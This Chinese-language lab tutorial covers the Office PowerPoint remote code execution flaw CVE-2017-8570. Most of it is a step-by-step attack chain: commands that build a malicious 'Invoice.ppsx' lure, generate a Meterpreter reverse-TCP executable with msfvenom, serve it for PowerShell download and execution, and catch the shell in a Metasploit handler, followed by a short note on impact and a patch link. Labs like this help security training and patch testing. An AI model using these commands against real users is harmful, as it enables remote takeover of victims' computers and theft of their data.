Office远程代码执行漏洞(CVE-2017-8570)

漏洞介绍

OfficeCVE-2017-85702017年7月,微软在例行的阅读补丁中修复了多个Microsoft Office漏洞,其中的CVE-2017-8570漏洞为一个逻辑漏洞,利用方法简单。网上公布了利用代码影响范围广泛。该漏洞为Microsoft Office的一个远程代码执行漏洞。

其成因是Microsof PowerPoint执行时会初始化“script”Moniker对象,而在PowerPoint播放动画期间会激活该对象,从而执行sct脚本(Windows script Component)文件。攻击这可以欺骗用户运行含有该漏洞的PPT文件导致获取和当前登录用户相同的执行权限。

影响版本

  • Microsoft Office 2007 Service Pack 3
  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)

实验步骤

步骤1:

生成恶意的PPSX文件

进入漏洞

首先我们在Kali中执行如下命令:

cd CVE-2017-8570 //exploit的目录python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://x.x.x.x/logo.doc //生成ppsx文件

使用ls命令查看是否成功生成

接下来我们生成恶意PPSX文件通过调用Powershell下载并执行的反弹木马。

使用命令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -f exe > /tmp/shell.exe    //x.x.x.x自己的ip 

其中 -p 参数是 payload的意思,使用的windows的meterpreter的反弹木马-f参数 指定输出文件后缀为exe文件再用>重定向输出到tmp目录下

接下来输入如下命令:

python cve-2017-8570_toolkit.py -M exp -e http://x.x.x.x/shell.exe -l /tmp/shell.exe

这段命令是通过脚本在80端口监听,等待接收ppsx请求并下载执行我们的反弹木马

接下来进入Metasploit,新建一个Kali`172.16.12.2的连接,设置相关参数,接受返回的Shell

msfconsoleuse multi/handler   //使用监听模块set payload windows/meterpreter/reverse_tcp    //设置Payloadset LHOST x.x.x.x   //设置本地接收IPrun

可以看到我们的Metaspliot已经在本地开启监听

到此我们的所有准备都做好,下一步我们模拟用户点击恶意文件

步骤2:

目标机器执行恶意PPSX文件

将Invoice.ppsx文件拖到当前桌面上。

执行过程中可以看到代码通过调用powershell在远程下载执行我们的恶意木马,此时已经反弹回了shell

使用命令:

getuid     //获取当前用户ID

这样就获取了目标机器的权限,可以通过Metasploit去执行命令。

实验结果分析与总结

Office一直是主流的办公软件,CVE-2017-8570这个漏洞影响office所有发行版本,当用户不经意点击了我们的恶意PPSX文件,那么我们就可以直接获取到他的用户权限,可以看到危害性十分高。

修复方案:

补丁地址:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8570

文 / Aex
LEAVE A REPLY
loading